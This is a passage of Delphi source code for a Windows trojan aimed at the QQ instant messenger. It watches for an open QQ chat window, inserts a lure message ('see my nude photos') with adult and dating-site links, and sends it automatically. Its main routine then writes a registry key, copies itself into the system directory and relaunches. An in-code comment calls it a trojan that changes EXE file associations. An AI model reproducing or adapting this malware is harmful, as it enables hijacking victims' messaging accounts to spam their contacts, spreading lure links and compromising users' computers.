SendMessage(btnWnd,WM_LBUTTONUP,0,0);
except
end;
i:=0;
end;
//-------------------------发消息到QQ
procedure SetWndText(hWnd: Hwnd; Text: String);
Var
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_SETTEXT,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
//---------------------------取QQ窗口句柄
function EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;
var
qqbody:string;
begin
iii:=iii+1;
Result := True;
GetClassName(hwd,buffer,256); //得到类名
/////////77777777
if iii=7 then
begin
getwindowtext(hwd,buffer,256);
if string(buffer)='' then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
/////////15_qq2003II
if iii=15 then
begin
getwindowtext(hwd,buffer,256);
if pos('昵称',string(buffer))=0 then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
////////7777777777
if (string(buffer)='RICHEDIT') and (i=6) then
begin
qqbody:='看看我的裸体写真:'+#13+#10+'http://avbb.ywzc.net';
qqbody:=qqbody + #13+#10+#13+#10+'看看我的浪漫爱情:http://asiafriendfinder.com/go/p95770';
setwndtext(hwd,qqbody);
sentme;
i:=5;
end;
end;
//-----------------------------------计时器
procedure ontimer;
var
a:pchar;
begin
iii:=0;
ii:=ii+1;
if ii=3000 then
begin
ii:=0;
fname:='qq';
end;
myqq:= GetforegroundWindow();
Getmem(a,256);
GetWindowText(myqq,a,256);
if pos('发送消息',strpas(a))>0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);
Freemem(a);
end;
//------------------------这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of WM_COMMAND:
begin
if lParam=hButtonStart then begin
mcount:=0;
newtime:=SetTimer(handle,100,2000,nil);
end;
if lParam=hButtonStop then begin sentme;
end;
if lParam=hButtonExit then ShutDown;
end;
WM_TIMER:ontimer;
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);
end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil);
//初使化窗口类的信息
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// 注册窗口类
RegisterClass(wClass);
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//////////////////////////////////////////////////////
//---------主过程,类似于 C语言中的 WinMain()
begin
WriteKey(ExeFilePath, '', ExeFileValue, KeyRoot);
GetMem(HidePath, PathLen);
GetSystemDirectory(HidePath, PathLen); //true 为不覆盖
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then
begin
WinExec(CmdLine+2,1);
//deletefile(pchar(hidepath+execname));
end;
///!启动木马,这以上的代码就小心使用,有破坏力,改了EXE文件关连。另
